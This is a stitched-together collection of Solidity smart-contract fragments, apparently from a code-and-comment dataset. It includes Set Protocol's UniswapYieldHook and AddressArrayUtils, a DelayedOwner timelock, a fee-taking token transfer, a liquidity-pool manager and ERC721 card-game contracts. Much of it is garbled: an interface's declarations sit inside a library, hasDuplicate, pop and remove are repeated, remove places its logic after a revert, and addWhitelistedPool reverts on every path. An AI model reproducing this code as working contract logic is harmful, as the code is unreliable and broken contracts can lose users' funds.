require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
}
// Dependency file: @openzeppelin/as/access/Ownable.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
// import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
// import { Ownable } from "@openzeppelin/as/access/Ownable.sol";
// import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
// import { INAVIssuanceHook } from "../interfaces/INAVIssuanceHook.sol";
// import { ISetToken } from "../interfaces/ISetToken.sol";
contract UniswapYieldHook is INAVIssuanceHook, Ownable {
using AddressArrayUtils for address[];
/* ============ State Variables ============ */
mapping(address => uint256) public assetLimits;
address[] public assets;
/* ============ Constructor ============ */
constructor(address[] memory _assets, uint256[] memory _limits) public {
require(_assets.length == _limits.length, "Arrays must be equal");
require(_assets.length != 0, "Array must not be empty");
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(assetLimits[asset] == 0, "Asset already added");
assetLimits[asset] = _limits[i];
}
assets = _assets;
}
/* ============ External Functions ============ */
function invokePreIssueHook(
ISetToken /*_setToken*/,
address _reserveAsset,
uint256 _reserveAssetQuantity,
address _sender,
address /*_to*/
)
external
override
{
if (_sender != tx.origin) {
require(
_reserveAssetQuantity <= assetLimits[_reserveAsset],
"Issue size too large for call from contract."
);
}
}
function invokePreRedeemHook(
ISetToken _setToken,
uint256 _redeemQuantity,
address _sender,
address /*_to*/
)
external
override
{
if (_sender != tx.origin) {
require(
_redeemQuantity <= assetLimits[address(_setToken)],
"Redeem size too large for call from contract."
);
}
}
function addAssetLimit(address _asset, uint256 _newLimit) external onlyOwner {
require(assetLimits[_asset] == 0, "Asset already added");
assetLimits[_asset] = _newLimit;
assets.push(_asset);
}
function editAssetLimit(address _asset, uint256 _newLimit) external onlyOwner {
require(assetLimits[_asset] != 0, "Asset not added");
assetLimits[_asset] = _newLimit;
}
function removeAssetLimit(address _asset) external onlyOwner {
require(assetLimits[_asset] != 0, "Asset not added");
delete assetLimits[_asset];
assets = assets.remove(_asset);
}
/* ============ Getters ============ */
function getAssets() external view returns(address[] memory) { return assets; }
}
|
Dependency file: as/lib/AddressArrayUtils.sol/ pragma solidity 0.6.10;* @title AddressArrayUtils @author Set Protocol Utility functions to handle Address Arrays/
|
library AddressArrayUtils {
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
}
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
}
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
}
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
(address[] memory _A,) = pop(A, index);
return _A;
}
}
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
(address[] memory _A,) = pop(A, index);
return _A;
}
}
} else {
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
}
| 15,870,989
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pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "./Ownable.sol";
import "@0xsequence/erc-1155/contracts/utils/SafeMath.sol";
/**
* @dev This contract allows an owner to execute registered calls after an expiration
* delay has passed. This contract can then be the owner of another contract to
* enforce delayed function calls.
* @dev Does not support passing ETH in calls for simplicity, but could be added in V2.
*/
contract DelayedOwner is Ownable {
using SafeMath for uint256;
// Time transactions must be registered before being executable
uint256 immutable internal EXECUTION_DELAY;
// Mapping between transaction id and transaction hashes
mapping(uint256 => bytes32) public txHashes;
// Events
event TransactionRegistered(Transaction transaction);
event TransactionCancelled(Transaction transaction);
event TransactionExecuted(Transaction transaction);
// Transaction structure
struct Transaction {
Status status; // Transaction status
uint256 triggerTime; // Timestamp after which the transaction can be executed
address target; // Address of the contract to call
uint256 id; // Transaction identifier (unique)
bytes data; // calldata to pass
}
enum Status {
NotRegistered, // 0x0 - Transaction was not registered
Pending, // 0x1 - Transaction was registered but not executed
Executed, // 0x2 - Transaction was executed
Cancelled // 0x3 - Transaction was registered and cancelled
}
/**
* @dev Registers the execution delay for this contract
* @param _firstOwner Address of the first owner
* @param _delay Amount of time in seconds the delay will be
*/
constructor (address _firstOwner, uint256 _delay) Ownable(_firstOwner) {
EXECUTION_DELAY = _delay;
}
/***********************************|
| Core Functions |
|__________________________________*/
/**
* @notice Register a transaction to execute post delay
* @param _tx Transaction to execute
*/
function register(Transaction memory _tx) onlyOwner() public {
require(txHashes[_tx.id] == 0x0, "DelayedOwner#register: TX_ALREADY_REGISTERED");
// Set trigger time and mark transaction as pending
_tx.triggerTime = block.timestamp.add(EXECUTION_DELAY);
_tx.status = Status.Pending;
// Store transaction
txHashes[_tx.id] = keccak256(abi.encode(_tx));
emit TransactionRegistered(_tx);
}
/**
* @notice Cancels a transaction that was registered but not yet executed or cancelled
* @param _tx Transaction to cancel
*/
function cancel(Transaction memory _tx) onlyOwner() onlyValidWitnesses(_tx) public {
require(_tx.status == Status.Pending, "DelayedOwner#cancel: TX_NOT_PENDING");
// Set status to Cancelled
_tx.status = Status.Cancelled;
// Store transaction
txHashes[_tx.id] = keccak256(abi.encode(_tx));
emit TransactionCancelled(_tx);
}
/**
* @notice Will execute transaction specified
* @param _tx Transaction to execute
*/
function execute(Transaction memory _tx) onlyValidWitnesses(_tx) public {
require(_tx.status == Status.Pending, "DelayedOwner#execute: TX_NOT_PENDING");
require(_tx.triggerTime <= block.timestamp, "DelayedOwne#execute: TX_NOT_YET_EXECUTABLE");
// Mark transaction as executed, preventing re-entrancy and replay
_tx.status = Status.Executed;
// Store transaction
txHashes[_tx.id] = keccak256(abi.encode(_tx));
// Execute transaction
(bool success,) = _tx.target.call(_tx.data);
require(success, "DelayedOwner#execute: TX_FAILED");
emit TransactionExecuted(_tx);
}
/***********************************|
| Utility Functions |
|__________________________________*/
/**
* @notice Verify if provided transaction object matches registered transaction
* @param _tx Transaction to validate
*/
function isValidWitness(Transaction memory _tx) public view returns (bool isValid) {
return txHashes[_tx.id] == keccak256(abi.encode(_tx));
}
/**
* @notice Will enforce that the provided transaction witness is valid
* @param _tx Transaction to validate
*/
modifier onlyValidWitnesses(Transaction memory _tx) {
require(
isValidWitness(_tx),
"DelayedOwner#onlyValidWitnesses: INVALID_TX_WITNESS"
);
_;
}
}
|
* @notice Register a transaction to execute post delay @param _tx Transaction to execute/ Set trigger time and mark transaction as pending Store transaction
|
function register(Transaction memory _tx) onlyOwner() public {
require(txHashes[_tx.id] == 0x0, "DelayedOwner#register: TX_ALREADY_REGISTERED");
_tx.triggerTime = block.timestamp.add(EXECUTION_DELAY);
_tx.status = Status.Pending;
txHashes[_tx.id] = keccak256(abi.encode(_tx));
emit TransactionRegistered(_tx);
}
| 5,366,694
|
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./full_match/5/0xAfDaEBBA15e3bc06fea71c78BB033d00EB24511C/sources/contracts/tradesynth.sol
|
Inventory Management
|
struct Product {
uint256 id;
string name;
uint256 quantity;
uint256 reorderThreshold;
}
mapping(uint256 => Product) public products;
uint256 public totalProducts;
event ProductAdded(uint256 indexed productId, string name, uint256 quantity, uint256 reorderThreshold);
event ProductUpdated(uint256 indexed productId, uint256 quantity);
| 1,930,255
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./partial_match/1/0x9A3fB36bF72a387fCC821A38eE9F50f1A0eb8Cbd/sources/derpman.sol
|
Internal functions if sell if buy
|
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
_beforeTransfer(sender, recipient, amount);
uint256 burnFee = 0;
uint256 devFee = 0;
if (sender != owner() && recipient != owner()) {
if (!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {
if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_isExcludedFromMaxTx[recipient] && !_isExcludedFromMaxTx[sender]) {
require(amount <= _totalSupply.mul(_maxTxAmountPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmount.");
require(balanceOf(recipient).add(amount) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
}
if (recipient == _uniswapV2Pair && sender != address(this)) {
burnFee = amount.mul(_burnFee).div(_divisor);
devFee = amount.mul(_sellFee).div(_divisor);
_lastTxBlock[tx.origin] = block.number;
}
if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
burnFee = amount.mul(_burnFee).div(_divisor);
devFee = amount.mul(_buyFee).div(_divisor);
_lastTxBlock[tx.origin] = block.number;
}
}
}
uint256 totalFee = burnFee.add(devFee);
if (totalFee > 0) {
if (burnFee > 0) {
_burn(sender, burnFee);
}
if (devFee > 0) {
_balances[_marketingWallet] = _balances[_marketingWallet].add(devFee);
emit Transfer(sender, _marketingWallet, devFee);
}
amount = amount.sub(totalFee);
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| 2,698,888
|
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./full_match/43113/0x101061ac181FEca52A69c569c0601dB6e4dd7098/sources/home/pedro/Documents/projects/avalabs/party-swap/party-pinatas/contracts/LiquidityPoolManager.sol
|
* Adds a new whitelisted liquidity pool pair. Generates a staking contract. Liquidity providers may stake this liquidity provider reward token and claim PARTY rewards proportional to their stake. Pair must contain either AVAX or PARTY. Associates a weight with the pair. Rewards are distributed to the pair proportionally based on its share of the total weight. Args: pair: pair to whitelist weight: how heavily to distribute rewards to this pool relative to other pools/ Create the staking contract and associate it with the pair Add as an AVAX or PARTY pair The governance contract can be used to deploy an altered LiquidityPoolManager if non-AVAX/PARTY pools are desired.
|
function addWhitelistedPool(address pair, uint256 weight)
external
onlyOwner
{
require(
!readyToDistribute,
"LPM::addWhitelistedPool: Cannot add pool between calculating and distributing returns"
);
require(
pair != address(0),
"LPM::addWhitelistedPool: Pool cannot be the zero address"
);
require(
isWhitelisted(pair) == false,
"LPM::addWhitelistedPool: Pool already whitelisted"
);
require(weight > 0, "LPM::addWhitelistedPool: Weight cannot be zero");
address token0 = IPartyPair(pair).token0();
address token1 = IPartyPair(pair).token1();
require(
token0 != token1,
"LPM::addWhitelistedPool: Tokens cannot be identical"
);
address stakeContract = address(new StakingRewards(party, pair));
stakes[pair] = stakeContract;
weights[pair] = weight;
if (token0 == party || token1 == party) {
require(
partyPairs.add(pair),
"LPM::addWhitelistedPool: Pair add failed"
);
require(
avaxPairs.add(pair),
"LPM::addWhitelistedPool: Pair add failed"
);
revert("LPM::addWhitelistedPool: No AVAX or PARTY in the pair");
}
numPools = numPools.add(1);
}
| 13,165,194
|
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pragma solidity 0.4.24;
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId) external view returns (bool);
}
contract ERC721Basic is ERC165 {
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor() public {
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId) external view returns (bool) {
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId) internal {
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract Governable {
event Pause();
event Unpause();
address public governor;
bool public paused = false;
constructor() public {
governor = msg.sender;
}
function setGovernor(address _gov) public onlyGovernor {
governor = _gov;
}
modifier onlyGovernor {
require(msg.sender == governor);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyGovernor whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyGovernor whenPaused public {
paused = false;
emit Unpause();
}
}
contract CardBase is Governable {
struct Card {
uint16 proto;
uint16 purity;
}
function getCard(uint id) public view returns (uint16 proto, uint16 purity) {
Card memory card = cards[id];
return (card.proto, card.purity);
}
function getShine(uint16 purity) public pure returns (uint8) {
return uint8(purity / 1000);
}
Card[] public cards;
}
contract CardProto is CardBase {
event NewProtoCard(
uint16 id, uint8 season, uint8 god,
Rarity rarity, uint8 mana, uint8 attack,
uint8 health, uint8 cardType, uint8 tribe, bool packable
);
struct Limit {
uint64 limit;
bool exists;
}
// limits for mythic cards
mapping(uint16 => Limit) public limits;
// can only set limits once
function setLimit(uint16 id, uint64 limit) public onlyGovernor {
Limit memory l = limits[id];
require(!l.exists);
limits[id] = Limit({
limit: limit,
exists: true
});
}
function getLimit(uint16 id) public view returns (uint64 limit, bool set) {
Limit memory l = limits[id];
return (l.limit, l.exists);
}
// could make these arrays to save gas
// not really necessary - will be update a very limited no of times
mapping(uint8 => bool) public seasonTradable;
mapping(uint8 => bool) public seasonTradabilityLocked;
uint8 public currentSeason;
function makeTradable(uint8 season) public onlyGovernor {
seasonTradable[season] = true;
}
function makeUntradable(uint8 season) public onlyGovernor {
require(!seasonTradabilityLocked[season]);
seasonTradable[season] = false;
}
function makePermanantlyTradable(uint8 season) public onlyGovernor {
require(seasonTradable[season]);
seasonTradabilityLocked[season] = true;
}
function isTradable(uint16 proto) public view returns (bool) {
return seasonTradable[protos[proto].season];
}
function nextSeason() public onlyGovernor {
//Seasons shouldn't go to 0 if there is more than the uint8 should hold, the governor should know this ¯\_(ツ)_/¯ -M
require(currentSeason <= 255);
currentSeason++;
mythic.length = 0;
legendary.length = 0;
epic.length = 0;
rare.length = 0;
common.length = 0;
}
enum Rarity {
Common,
Rare,
Epic,
Legendary,
Mythic
}
uint8 constant SPELL = 1;
uint8 constant MINION = 2;
uint8 constant WEAPON = 3;
uint8 constant HERO = 4;
struct ProtoCard {
bool exists;
uint8 god;
uint8 season;
uint8 cardType;
Rarity rarity;
uint8 mana;
uint8 attack;
uint8 health;
uint8 tribe;
}
// there is a particular design decision driving this:
// need to be able to iterate over mythics only for card generation
// don't store 5 different arrays: have to use 2 ids
// better to bear this cost (2 bytes per proto card)
// rather than 1 byte per instance
uint16 public protoCount;
mapping(uint16 => ProtoCard) protos;
uint16[] public mythic;
uint16[] public legendary;
uint16[] public epic;
uint16[] public rare;
uint16[] public common;
function addProtos(
uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks,
uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable
) public onlyGovernor returns(uint16) {
for (uint i = 0; i < externalIDs.length; i++) {
ProtoCard memory card = ProtoCard({
exists: true,
god: gods[i],
season: currentSeason,
cardType: cardTypes[i],
rarity: rarities[i],
mana: manas[i],
attack: attacks[i],
health: healths[i],
tribe: tribes[i]
});
_addProto(externalIDs[i], card, packable[i]);
}
}
function addProto(
uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable
) public onlyGovernor returns(uint16) {
ProtoCard memory card = ProtoCard({
exists: true,
god: god,
season: currentSeason,
cardType: cardType,
rarity: rarity,
mana: mana,
attack: attack,
health: health,
tribe: tribe
});
_addProto(externalID, card, packable);
}
function addWeapon(
uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable
) public onlyGovernor returns(uint16) {
ProtoCard memory card = ProtoCard({
exists: true,
god: god,
season: currentSeason,
cardType: WEAPON,
rarity: rarity,
mana: mana,
attack: attack,
health: durability,
tribe: 0
});
_addProto(externalID, card, packable);
}
function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) {
ProtoCard memory card = ProtoCard({
exists: true,
god: god,
season: currentSeason,
cardType: SPELL,
rarity: rarity,
mana: mana,
attack: 0,
health: 0,
tribe: 0
});
_addProto(externalID, card, packable);
}
function addMinion(
uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable
) public onlyGovernor returns(uint16) {
ProtoCard memory card = ProtoCard({
exists: true,
god: god,
season: currentSeason,
cardType: MINION,
rarity: rarity,
mana: mana,
attack: attack,
health: health,
tribe: tribe
});
_addProto(externalID, card, packable);
}
function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal {
require(!protos[externalID].exists);
card.exists = true;
protos[externalID] = card;
protoCount++;
emit NewProtoCard(
externalID, currentSeason, card.god,
card.rarity, card.mana, card.attack,
card.health, card.cardType, card.tribe, packable
);
if (packable) {
Rarity rarity = card.rarity;
if (rarity == Rarity.Common) {
common.push(externalID);
} else if (rarity == Rarity.Rare) {
rare.push(externalID);
} else if (rarity == Rarity.Epic) {
epic.push(externalID);
} else if (rarity == Rarity.Legendary) {
legendary.push(externalID);
} else if (rarity == Rarity.Mythic) {
mythic.push(externalID);
} else {
require(false);
}
}
}
function getProto(uint16 id) public view returns(
bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe
) {
ProtoCard memory proto = protos[id];
return (
proto.exists,
proto.god,
proto.season,
proto.cardType,
proto.rarity,
proto.mana,
proto.attack,
proto.health,
proto.tribe
);
}
